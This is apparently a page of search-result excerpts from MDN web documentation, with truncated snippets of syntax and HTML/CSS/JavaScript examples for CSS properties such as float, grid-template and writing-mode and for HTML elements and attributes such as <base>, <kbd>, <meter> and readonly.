... html <article class="container"> <span>first</span> <span>second</span> <span>third</span> </article> <article class="container"> <span>first</span> <span>second</span> <span>third</span> </article> <div> <label for="display">choose a display value:</label> <select id="display"> <option selected>block</option> <option>inline</option> <option>inline-block</option> <option>none</option>...
<easing-function> - CSS: Cascading Style Sheets
the easing functions in the cubic-bezier subset of easing functions are often called "smooth" easing functions, because they can be used to smooth down the start and end of the animation.
...for some properties, such as left or right, this creates a kind of "bouncing" effect.
... html <div> <div></div> </div> <ul> <li> <button class="animation-button">start animation</button> </li> <li> <label for="easing-select">choose an easing function:</label> <select id="easing-select"> <option selected>linear</option> <option>ease</option> <option>ease-in</option> <option>ease-in-out</option> <option>ease-out</option> <option>cubic-bezier(0.1, -0.6, 0.2, 0)</option> <option>cubic-bezi...
float - CSS: Cascading Style Sheets
WebCSSfloat
this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascript, as seen in the need to escape "class" as "classname" and escape <label>'s "for" as "htmlfor").
...note that the second "left" square is placed to the right of the first.
... html <section> <div class="left">1</div> <div class="left">2</div> <div class="right">3</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
font-feature-settings - CSS: Cascading Style Sheets
syntax /* use the default settings */ font-feature-settings: normal; /* set values for opentype feature tags */ font-feature-settings: "smcp"; font-feature-settings: "smcp" on; font-feature-settings: "swsh" 2; font-feature-settings: "smcp", "swsh" 2; /* global values */ font-feature-settings: inherit; font-feature-settings: initial; font-feature-settings: unset; whenever possible, web authors should instead use the font-variant shorthand property or an associated longhand property such as font-variant-ligatures, font-variant-cap...
... examples enabling various font features /* use small-cap alternate glyphs */ .smallcaps { font-feature-settings: "smcp" on; } /* convert both upper and lowercase to small caps (affects punctuation also) */ .allsmallcaps { font-feature-settings: "c2sc", "smcp"; } /* use zeros with a slash through them to differentiate from "o" */ .nicezero { font-feature-settings: "zero"; } /* enable historical forms */ .hist { font-feature-settings: "hist"; } /* disable common ligatures, usually on by default */ .noligs ...
...{ font-feature-settings: "liga" 0; } /* enable tabular (monospaced) figures */ td.tabular { font-feature-settings: "tnum"; } /* enable automatic fractions */ .fractions { font-feature-settings: "frac"; } /* use the second available swash character */ .swash { font-feature-settings: "swsh" 2; } /* enable stylistic set 7 */ .fancystyle { font-family: gabriola; /* available on windows 7, and on mac os */ font-feature-settings: "ss07"; } specifications specification status comment css fonts module level 3the definition of 'font-feature-settings' in that specification.
grid-template - CSS: Cascading Style Sheets
syntax /* keyword value */ grid-template: none; /* grid-template-rows / grid-template-columns values */ grid-template: 100px 1fr / 50px 1fr; grid-template: auto 1fr / auto 1fr auto; grid-template: [linename] 100px / [columnname1] 30% [columnname2] 70%; grid-template: fit-content(100px) / fit-content(40%); /* grid-template-areas grid-template-rows / grid-template-column values */ grid-template: "a a a" "b b b"; grid-template: "a a a" 20% "b b b" auto; grid-template: [header-top] "a a a" [header-bottom] [main-top] "b b b" 1fr [main-bottom] / auto 1fr auto; /* global values */ grid-template: inherit; grid-template: initial; grid-template: unset; values none is a keyword that sets all three longhand propert...
...<track-size> ]+ <line-names>?where <track-breadth> = <length-percentage> | <flex> | min-content | max-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples defining a grid template css #page { display: grid; width: 100%; height: 200px; grid-template: [header-left] "head head" 30px [header-right] [main-left] "nav main" 1fr [main-right] [footer-left] "nav foot" 30px [footer-right] / 120px 1fr; } header { background-color: lime; grid-area: head; } nav { background-color: lightblue; grid-area: nav; } main { background-color: yellow; grid-area: main; } footer { background-color: red; grid...
...-area: foot; } html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> result specifications specification status comment css grid layoutthe definition of 'grid-template' in that specification.
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
suggesting line break opportunities there are two unicode characters used to manually specify potential line break points within text: u+2010 (hyphen) the "hard" hyphen character indicates a visible line break opportunity.
... u+00ad (shy) an invisible, "soft" hyphen.
... html <dl> <dt><code>none</code>: no hyphen; overflow if needed</dt> <dd lang="en" class="none">an extreme&shy;ly long english word</dd> <dt><code>manual</code>: hyphen only at &amp;hyphen; or &amp;shy; (if needed)</dt> <dd lang="en" class="manual">an extreme&shy;ly long english word</dd> <dt><code>auto</code>: hyphens where the algorithm decides (if needed)</dt> <dd lang="en" class="auto">an extreme&shy;ly long english word</dd> </dl> css dd { width: 55px; bo...
line-height - CSS: Cascading Style Sheets
ion typeeither number or length formal syntax normal | <number> | <length> | <percentage> examples basic example /* all rules below have the same resultant line height */ div { line-height: 1.2; font-size: 10pt; } /* number/unitless */ div { line-height: 1.2em; font-size: 10pt; } /* length */ div { line-height: 120%; font-size: 10pt; } /* percentage */ div { font: 10pt/1.2 georgia,"bitstream charter",serif; } /* font shorthand */ it is often more convenient to set line-height by using the font shorthand as shown above, but this requires the font-family property to be specified as well.
... html <div class="box green"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance behavior ...
... </div> <div class="box red"> <h1>avoid unexpected results by using unitless line-height.</h1> length and percentage line-heights have poor inheritance behavior ...
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
the image "covers" the entire width or height of the container.
...tting mask size as a percentage css #masked { width: 200px; height: 200px; background: blue linear-gradient(red, blue); -webkit-mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); -webkit-mask-size: 50%; mask-size: 50%; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option value="40% 80%">40% 80%</option> <option value="50%" selected>50%</option> <option value="200px 100px">200px 100px</option> <option value="cover">cover</option> <option value="contain">contain</option> </select> javascript var masksize = document.getelementbyid("masksize"); masksize.addeventlistener("c...
...hange", function (evt) { document.getelementbyid("masked").style.masksize = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-size' in that specification.
object-fit - CSS: Cascading Style Sheets
the entire object is made to fill the box, while preserving its aspect ratio, so the object will be "letterboxed" if its aspect ratio does not match the aspect ratio of the box.
... formal definition initial valuefillapplies toreplaced elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax fill | contain | cover | none | scale-down examples setting object-fit for an image html <section> <h2>object-fit: fill</h2> <img class="fill" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="fill narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: contain</h2> <img class="contain" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="contain narrow" src="https://udn.realityripple.com/samples/ae/...
...248a9938d9.png" alt="mdn logo"> <h2>object-fit: cover</h2> <img class="cover" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="cover narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: none</h2> <img class="none" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="none narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <h2>object-fit: scale-down</h2> <img class="scale-down" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="scale-down narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> </section> css h2 { font-family: courier new,...
offset-path - CSS: Cascading Style Sheets
<svg xmlns="http://www.w3.org/2000/svg" width="700" height="450" viewbox="350 0 1400 900"> <title>house and scissors</title> <rect x="595" y="423" width="610" height="377" fill="blue" /> <polygon points="506,423 900,190 1294,423" fill="yellow" /> <polygon points="993,245 993,190 1086,190 1086,300" fill="red" /> <path id="house" d="...
...m900,190 l993,245 v201 a11,11 0 0,1 1004,190 h1075 a11,11 0 0,1 1086,201 v300 l1294,423 h1216 a11,11 0 0,0 1205,434 v789 a11,11 0 0,1 1194,800 h606 a11,11 0 0,1 595,789 v434 a11,11 0 0,0 584,423 h506 l900,190" fill="none" stroke="black" stroke-width="13" stroke-linejoin="round" stroke-linecap="round" /> <path id="firstscissorhalf" class="scissorhalf" d="m30,0 h-10 a10,10 0 0,0 -20,10 a20,20 0 1,1 -40,-10 h20 a10,10 0 0,1 30,0 m-40,20 a10,10 1 0,0 -40,0 a10,10 1 0,0 -40,20 m0,0" transform="translate(0,0)" fill="green" stroke="black" stroke-width="5" stroke-linejoin="round" stroke-linecap="round" fill-rule="evenodd" /> <path id="secondscissorhalf" class="scissorhalf" d="m30,0 h-...
...10 a10,10 0 0,1 -20,-10 a20,20 0 1,0 -40,10 h20 a10,10 0 0,0 30,0 m-40,-20 a10,10 1 0,0 -40,0 a10,10 1 0,0 -40,-20 m0,0" transform="translate(0,0)" fill="forestgreen" stroke="black" stroke-width="5" stroke-linejoin="round" stroke-linecap="round" fill-rule="evenodd" /> </svg> css .scissorhalf { offset-path: path('m900,190 l993,245 v201 a11,11 0 0,1 1004,190 h1075 a11,11 0 0,1 1086,201 v300 l1294,423 h1216 a11,11 0 0,0 1205,434 v789 a11,11 0 0,1 1194,800 h606 a11,11 0 0,1 595,789 v434 a11,11 0 0,0 584,423 h506 l900,190'); animation: followpath 4s linear infinite; } @keyframes followpath { to { motion-offset: 100%; offset-distance: 100%; } } result specifications <body> specification ...
outline-style - CSS: Cascading Style Sheets
html <div> <p class="auto">outline demo</p> </div> css .auto { outline-style: auto; /* same result as "outline: auto" */ } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result setting outline style to dashed and dotted html <div> <div class="dotted"> <p class="dashed">outline demo</p> </div> </div> css .dotted { outline-style: dotted; /* same result as "outline: dot...
...ted" */ } .dashed { outline-style: dashed; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result setting outline style to solid and double html <div> <div class="solid"> <p class="double">outline demo</p> </div> </div> css .solid { outline-style: solid; } .double { outline-style: double; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result setting outline style to groove and ridge html <div> <div class="groove"> <p class="ridge">outline demo</p> </div> </div> css .groove { outline-style: groove; } .ridge { outline-style: ridge; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result setting outline style to inset and outset html <div> <div class="inset">...
... <p class="outset">outline demo</p> </div> </div> css .inset { outline-style: inset; } .outset { outline-style: outset; } /* to make the demo clearer */ * { outline-width: 10px; padding: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-style' in that specification.
overscroll-behavior - CSS: Cascading Style Sheets
/* keyword values */ overscroll-behavior: auto; /* default */ overscroll-behavior: contain; overscroll-behavior: none; /* two values */ overscroll-behavior: auto contain; /* global values */ overscroll-behavior: inherit; overscroll-behavior: initial; overscroll-behavior: unset; by default, mobile browsers tend to provide a "bounce" effect or even a page refresh when the top or bottom of a page (or other scroll area) is reached.
...you can use overscroll-behavior to get rid of unwanted scroll chaining and the browser's facebook/twitter app-inspired "pull to refresh"-type behavior.
..."bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
perspective - CSS: Cascading Style Sheets
<table> <tbody> <tr> <th><code>perspective: 250px;</code> </th> <th><code>perspective: 350px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers250"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> ...
... <div class="cube pers350"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> </tr> <tr> <th><code>perspective: 500px;</code> </th> <th><code>perspective: 650px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers500"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div c...
...lass="face bottom">6</div> </div> </div> </td> <td> <div class="container"> <div class="cube pers650"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> </tr> </tbody> </table> css the css establishes classes that can be used to set the perspective to different distances.
place-items - CSS: Cascading Style Sheets
#item2 { background-color: #a0c8ff; min-height: 50px; } #item3 { background-color: #ffa08c; min-height: 40px; } #item4 { background-color: #ffff8c; min-height: 60px; } #item5 { background-color: #ff8cff; min-height: 70px; } #item6 { background-color: #8cffff; min-height: 50px; font-size: 30px; } select { font-size: 16px; } .row { margin-top: 10px; } html <div id="container" class="flex"> <div id="item1">1</div> <div id="item2">2</div> <div id="item3">3</div> <div id="item4">4</div> <div id="item5">5</div> <div id="item6">6</div> </div> <div class="row"> <label for="display">display: </label> <select id="display"> <option value="flex">flex</option> <option value="grid">grid</option> </select> </div> <div class="row"> <label for...
...="values">place-items: </label> <select id="values"> <option value="start">start</option> <option value="center">center</option> <option value="end">end</option> <option value="left">left</option> <option value="right">right</option> <option value="auto center">auto center</option> <option value="normal start">normal start</option> <option value="center normal">center normal</option> <option value="start auto">start auto</option> <option value="end normal">end normal</option> <option value="self-start auto">self-start auto</option> <option value="self-end normal">self-end normal</option> <option value="flex-start auto">flex-start auto</option> <option value="flex-end normal">flex-end normal</option> <option value="left auto">left...
... auto</option> <option value="right normal">right normal</option> <option value="baseline normal">baseline normal</option> <option value="first baseline auto">first baseline auto</option> <option value="last baseline normal">last baseline normal</option> <option value="stretch auto">stretch auto</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.placeitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); css #container { height:200px; width: 240px; place-items: center; /* you can...
quotes - CSS: Cascading Style Sheets
WebCSSquotes
syntax /* keyword value */ quotes: none; quotes: auto; /* <string> values */ quotes: "«" "»"; /* set open-quote and close-quote to the french quotation marks */ quotes: "«" "»" "" ""; /* set two levels of quotation marks */ /* global values */ quotes: inherit; quotes: initial; quotes: unset; values none the open-quote and close-quote values of the content property produce no quotation marks.
...that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before { content: open-quote; } q::after { content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had this default behavior (chromiums, safari, edge), so this example works without it being explicitly being set.
... html <div lang="fr"> <q>ceci est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification.
revert - CSS: Cascading Style Sheets
WebCSSrevert
h3 { font-weight: normal; color: blue; } <h3 style="font-weight: unset; color: unset;">this will still have font-weight: normal, but color: black</h3> <p>just some text</p> <h3 style="font-weight: revert; color: revert;">this should have its original font-weight (bold) and color: black</h3> <p>just some text</p> revert all reverting all values is useful when you did heavy modifications for something and then want to revert to defaults.
... h3 { font-weight: normal; color: blue; border-bottom: 1px solid grey; } <h3>this will have custom styles</h3> <p>just some text</p> <h3 style="all: revert">this should be reverted to browser/user defaults</h3> <p>just some text</p> revert on a parent reverting effectively removes the value for the element you select with some rule and only for that element.
...</section> <section class="with-revert"> <h3>this will be black</h3> <p>text in paragraph will be red.</p> this will also be black.
scroll-margin - CSS: Cascading Style Sheets
description you can see the effect of scroll-margin by scrolling to a point partway between two of the "pages" of the example's content.
... html the html that represents the blocks is very simple: <div class="scroller"> <div>1</div> <div>2</div> <div>3</div> <div>4</div> </div> css let's walk through the css.
...s: .scroller > div { flex: 0 0 250px; width: 250px; background-color: #663399; color: #fff; font-size: 30px; display: flex; align-items: center; justify-content: center; scroll-snap-align: start; } .scroller > div:nth-child(2n) { background-color: #fff; color: #663399; } the most relevant part here is scroll-snap-align: start, which specifies that the left-hand edges (the "starts" along the x axis, in our case) are the designated snap points.
<string> - CSS: Cascading Style Sheets
WebCSSstring
syntax the <string> data type is composed of any number of unicode characters surrounded by either double (") or single (') quotes.
... examples /* simple strings */ "this string is demarcated by double quotes." 'this string is demarcated by single quotes.' /* character escaping */ "this is a string with \" an escaped double quote." "this string also has \22 an escaped double quote." 'this is a string with \' an escaped single quote.' 'this string also has \27 an escaped single quote.' "this is a string with \\ an escaped backslash." /* new line in a string *...
.../ "this string has a \aline break in it." /* string spanning two lines of code (these two strings will have identical output) */ "a really long \ awesome string" "a really long awesome string" specifications specification status comment css values and units module level 3the definition of '<string>' in that specification.
text-decoration - CSS: Cascading Style Sheets
however, the rule em { text-decoration: overline; } would cause a second decoration to appear on "some emphasized words".
...on-color'> | <'text-decoration-thickness'> examples .under { text-decoration: underline red; } .over { text-decoration: wavy overline lime; } .line { text-decoration: line-through; } .plain { text-decoration: none; } .underover { text-decoration: dashed underline overline; } .thick { text-decoration: solid underline purple 4px; } .blink { text-decoration: blink; } <p class="under">this text has a line underneath it.</p> <p class="over">this text has a line over it.</p> <p class="line">this text has a line going through it.</p> <p>this <a class="plain" href="#">link will not be underlined</a>, as links generally are by default.
... be careful when removing the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft adds text-decoration-thickness; note that this isn't yet officially part of the shorthand — this is as yet unspecified.
translateZ() - CSS: Cascading Style Sheets
html <div>static</div> <div class="moved">moved</div> css div { position: relative; width: 60px; height: 60px; left: 100px; background-color: skyblue; } .moved { transform: perspective(500px) translatez(200px); background-color: pink; } what really matters here is the class "moved"; let's take a look at what it does.
...a value of 500px means the user is 500 pixels "in front of" the imagery located at z=0.
... then, the translatez() function moves the element 200 pixels "outward" from the screen, toward the user.
writing-mode - CSS: Cascading Style Sheets
<table> <tr> <th>value</th> <th>vertical script</th> <th>horizontal (ltr) script</th> <th>horizontal (rtl) script</th> <th>mixed script</th> </tr> <tr> <td>horizontal-tb</td> <td class="example text1"><span>我家没有电脑。</span></td> <td class="example text1"><span>example text</span></td> <td class="example text1"><span>מלל ארוך לדוגמא</span></td> <td class="example text1"><span>1994年に至っては</span></td> </tr> <tr> <td>vertical-lr</td> <td class="example text2"><span>我家没有电脑。</span></td> <td class="example tex...
...t2"><span>example text</span></td> <td class="example text2"><span>מלל ארוך לדוגמא</span></td> <td class="example text2"><span>1994年に至っては</span></td> </tr> <tr> <td>vertical-rl</td> <td class="example text3"><span>我家没有电脑。</span></td> <td class="example text3"><span>example text</span></td> <td class="example text3"><span>מלל ארוך לדוגמא</span></td> <td class="example text3"><span>1994年に至っては</span></td> </tr> <tr> <td>sideways-lr</td> <td class="example text4"><span>我家没有电脑。</span></td> <td class="example text4"><span>example text</span></td> <td class="example text4"><span>מלל ארוך לדוגמא</span></td> <td class="example text4"><span>1994年に至�...
...�ては</span></td> </tr> <tr> <td>sideways-rl</td> <td class="example text5"><span>我家没有电脑。</span></td> <td class="example text5"><span>example text</span></td> <td class="example text5"><span>מלל ארוך לדוגמא</span></td> <td class="example text5"><span>1994年に至っては</span></td> </tr> </table> css some preparatory css just to make things look a little better: table { border-collapse:collapse; } td, th { border: 1px black solid; padding: 3px; } th { background-color: lightgray; } .example { height:75px; width:75px; } the css that adjusts the directionality of the content looks like this: .example.text1 span, .example.text1 { writing-mode: horizontal-tb; -webkit-writing-mode: horizontal-tb; -ms-writing-mode: ...
Mouse gesture events - Developer guides
types of gesture events mozswipegesture the mozswipegesture event is sent when the user uses three fingers to "swipe" the trackpad.
... mozmagnifygesturestart the mozmagnifygesturestart event is sent when the user begins performing a "pinch" gesture, by using two fingers as the corners of a rectangle and moving them either closer together or farther apart.
...mozmagnifygesture the mozmagnifygesture event is sent when the user completes a "pinch" gesture.
Mutation events - Developer guides
preface the mutation events have been marked as deprecated in the dom events specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps).
... cross-browser support these events are not implemented consistently across different browsers, for example: ie prior to version 9 didn't support the mutation events at all and does not implement some of them correctly in version 9 (for example, domnodeinserted) webkit doesn't support domattrmodified (see webkit bug 8191 and the workaround) "mutation name events", i.e.
... // allow garbage collection observer.disconnect(); observer = undefined; } }); }); }); observer.observe(document, { childlist: true, subtree: true }); }; usage you can register a listener for mutation events using element.addeventlistener as follows: element.addeventlistener("domnodeinserted", function (event) { // ...
Orientation and motion data explained - Developer guides
we use upper-case letters ("x", "y", and "z") to describe the axes of the earth coordinate frame.
...we use lower-case letters ("x", "y", and "z") to describe the axes of the device coordinate frame.
... note: on a phone or tablet, the orientation of the device is always considered in relation to the standard orientation of the screen; this is the "portrait" orientation on most devices.
HTML attribute: max - HTML: Hypertext Markup Language
WebHTMLAttributesmax
syntax syntax for max values by input type input type syntax example date yyyy-mm-dd <input type="date" max="2019-12-25" step="1"> month yyyy-mm <input type="month" max="2019-12" step="12"> week yyyy-w## <input type="week" max="2019-w23" step=""> time hh:mm <input type="time" max="17:00" step="900"> datetime-local yyyy-mm-ddthh:mm <input type="datetime-local" min="2019-12-25t23:59"> number <number> <input type="number" ...
...min="0" step="5" max="100"> range <number> <input type="range" min="60" step="5" max="100"> note: when the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and rangeoverflow for more information.
... syntax for max values for other elements input type syntax example <progress> <number> <progress id="file" max="100" value="70"> 70% </progress> <meter> <number> <meter id="fuel" min="0" max="100" low="33" high="66" optimum="80" value="40"> at 40/100</meter> ...
HTML attribute: readonly - HTML: Hypertext Markup Language
example html <div class="group"> <input type="textbox" value="some value" readonly="readonly"/> <label>textbox</label> </div> <div class="group"> <input type="date" value="2020-01-01" readonly="readonly"/> <label>date</label> </div> <div class="group"> <input type="email" value="some value" readonly="readonly"/> <label>email</label> </div> <div class="group"> <input type="password" value="some value" readonl...
...y="readonly"/> <label>password</label> </div> <div class="group"> <textarea readonly="readonly">some value</textarea> <label>message</label> </div> result examples <fieldset> <legend>checkboxes buttons</legend> <p><label> <input type="checkbox" name="chbox" value="regular"> regular </label></p> <p><label> <input type="checkbox" name="chbox" value="readonly" readonly> readonly </label></p> <p><label> <input type="checkbox" name="chbox" value="disabled" disabled> disabled </label></p> </fieldset> <fieldset> <legend>radio buttons</legend> <p><label> <input type="radio" name="radio" value="regular"> regular </label></p> <p><label> <input type="radio" name="radio" value="readonly" readonly> readonly </label></p> <p><label> <input ty...
...pe="radio" name="radio" value="disabled" disabled> disabled </label></p> </fieldset> specifications specification status comment html living standardthe definition of 'readonly attribute' in that specification.
HTML attribute: required - HTML: Hypertext Markup Language
note: setting aria-required="true" tells a screen reader that an element (any element) is required, but has no bearing on the optionality of the element.
...assistive technology should inform the user that the form control in mandatory based on the required attribute, but adding aria-required="true" doesn't hurt, in case the browser / screen reader combination does not support required yet.
... example html <form> <div class="group"> <input type="text"> <label>normal</label> </div> <div class="group"> <input type="text" required="required"> <label>required</label> </div> <input type="submit"> </form> result ...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
stribution and diversity h2 evolution h3 late paleozoic h3 jurassic h3 cretaceous h3 cenozoic h2 external morphology h3 head h4 mouthparts h3 thorax h4 prothorax h4 pterothorax h3 legs h3 wings h3 abdomen when headings are nested, heading levels may be "skipped" when closing a subsection.
... example <header> <nav aria-labelledby="primary-navigation"> <h2 id="primary-navigation">primary navigation</h2> <!-- navigation items --> </nav> </header> <!-- page content --> <footer> <nav aria-labelledby="footer-navigation"> <h2 id="footer-navigation">footer navigation</h2> <!-- navigation items --> </nav> </footer> in this example, screen reading technology would announce that there are two <nav> sections,...
... one called "primary navigation" and one called "footer navigation".
<article>: The Article Contents element - HTML: Hypertext Markup Language
WebHTMLElementarticle
examples <article class="film_review"> <header> <h2>jurassic park</h2> </header> <section class="main_review"> <p>dinos were great!</p> </section> <section class="user_reviews"> <article class="user_review"> <p>way too scary for me.</p> <footer> <p> posted on <time datetime="2015-05-16 19:00">may 16</time> by lisa.
... </p> </footer> </article> <article class="user_review"> <p>i agree, dinos are my favorite.</p> <footer> <p> posted on <time datetime="2015-05-17 19:00">may 17</time> by tom.
... </p> </footer> </article> </section> <footer> <p> posted on <time datetime="2015-05-15 19:00">may 15</time> by staff.
<base>: The Document Base URL element - HTML: Hypertext Markup Language
WebHTMLElementbase
<a href="#some-id"> — are resolved with the <base>, triggering an http request to the base url with the fragment attached.
... for example: given <base href="https://example.com"> ...and this link: <a href="#anchor">anker</a> ...the link points to https://example.com/#anchor.
...for example: <meta property="og:image" content="https://example.com/thumbnail.jpg"> examples <base href="https://www.example.com/"> <base target="_blank"> <base target="_top" href="https://example.com/"> specifications specification status comment html living standardthe definition of '<base>' in that specification.
<div>: The Content Division element - HTML: Hypertext Markup Language
WebHTMLElementdiv
as a "pure" container, the <div> element does not inherently represent anything.
...note the use of the class attribute on the <div> to apply the style named "shadowbox" to the element.
... html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html living standardthe definition of '<div>' in that specification.
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
examples basic example <p>use the command <kbd>help mycommand</kbd> to view documentation for the command "mycommand".</p> representing keystrokes within an input to describe an input comprised of multiple keystrokes, you can nest multiple <kbd> elements, with an outer <kbd> element representing the overall input and each individual keystroke or component of the input enclosed within its own <kbd>.
...tyles we can make more sense of this by adding some css: css we add a new style for <kbd> elements, key, which we can apply when rendering keyboard keys: kbd.key { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } html then we update the html to use this class on the keys in the output to be presented: <p>you can also create a new document by pressing <kbd><kbd class="key">ctrl</kbd>+<kbd class="key">n</kbd></kbd>.</p> result the result is just what we want!
... for example, you can explain how to choose the "new document" option in the "file" menu using html that looks like this: <p>to create a new file, choose the menu option <kbd><kbd><samp>file</samp></kbd>⇒<kbd><samp>new document</samp></kbd></kbd>.</p> <p>don't forget to click the <kbd><samp>ok</samp></kbd> button to confirm once you've entered the name of the new file.</p> this does some interesting nesting.
<main> - HTML: Hypertext Markup Language
WebHTMLElementmain
prefer using the <main> element over declaring role="main", unless there are legacy browser support concerns.
... skip navigation skip navigation, also known as "skipnav", is a technique that allows an assistive technology user to quickly bypass large sections of repeated content (main navigation, info banners, etc.).
... <body> <a href="#main-content">skip to main content</a> <!-- navigation and header content --> <main id="main-content"> <!-- main page content --> </main> </body> webaim: "skip navigation" links reader mode browser reader mode functionality looks for the presence of the <main> element, as well as heading and content sectioning elements when converting content into a specialized reader view.
<mark>: The Mark Text element - HTML: Hypertext Markup Language
WebHTMLElementmark
although the death star has been destroyed, <mark class="match">imperial</mark> troops have driven the rebel forces from their hidden base and pursued them across the galaxy.</p> <p>evading the dreaded <mark class="match">imperial</mark> starfleet, a group of freedom fighters led by luke skywalker has established a new secret base on the remote ice world of hoth.</p> to help distinguish the use of <mark> for search results from other potential usage, ...
...this example applies the custom class "match" to each match.
... mark::before, mark::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } mark::before { content: " [highlight start] "; } mark::after { content: " [highlight end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity.
<menu> - HTML: Hypertext Markup Language
WebHTMLElementmenu
examples context menu html <!-- a <div> element with a context menu --> <div contextmenu="popup-menu"> right-click to see the adjusted context menu </div> <menu type="context" id="popup-menu"> <menuitem>action</menuitem> <menuitem>another action</menuitem> <hr/> <menuitem>separated action</menuitem> </menu> css div { width: 300px; height: 80px; background-color: lightgreen; } result menu button menu buttons haven't been implemented in any known browsers yet.
...--> <button type="menu" menu="popup-menu"> dropdown </button> <menu type="context" id="popup-menu"> <menuitem>action</menuitem> <menuitem>another action</menuitem> <hr/> <menuitem>separated action</menuitem> </menu> result toolbar toolbar menus haven't been implemented in any known browsers yet.
...--> <menu type="toolbar"> <li> <button type="menu" menu="file-menu">file</button> <menu type="context" id="file-menu"> <menuitem label="new..." onclick="newfile()"> <menuitem label="save..." onclick="savefile()"> </menu> </li> <li> <button type="menu" menu="edit-menu">edit</button> <menu type="context" id="edit-menu"> <menuitem label="cut..." onclick="cutedit()"> <menuitem label="copy..." onclick="copyedit()"> <menuitem label="paste..." onclick="pasteedit()"> </menu> </li> </menu> result specifications specification status comment html living standardthe definition of '<menu>' in that specification.
<meter>: The HTML Meter element - HTML: Hypertext Markup Language
WebHTMLElementmeter
this attribute is only used if the <meter> element is being used as a form-associated element, such as one displaying a range corresponding to an <input type="number">.
... examples simple example html <p>heat the oven to <meter min="200" max="500" value="350">350 degrees</meter>.</p> result on google chrome, the resulting meter looks like this: high and low range example note that in this example the min attribute is omitted.
... html <p>he got a <meter low="69" high="80" max="100" value="84">b</meter> on the exam.</p> result on google chrome, the resulting meter looks like this: specifications specification status comment html living standardthe definition of '<meter>' in that specification.
<picture>: The Picture element - HTML: Hypertext Markup Language
WebHTMLElementpicture
<picture> <source srcset="mdn-logo-wide.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="mdn"> </picture> the srcset attribute the srcset attribute is used to offer list of possible images based on size.
... <picture> <source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"> <source srcset="logo-480.png, logo-480-2x.png 2x"> <img src="logo-320.png" alt="logo"> </picture> the type attribute the type attribute specifies a mime type for the resource url(s) in the <source> element's srcset attribute.
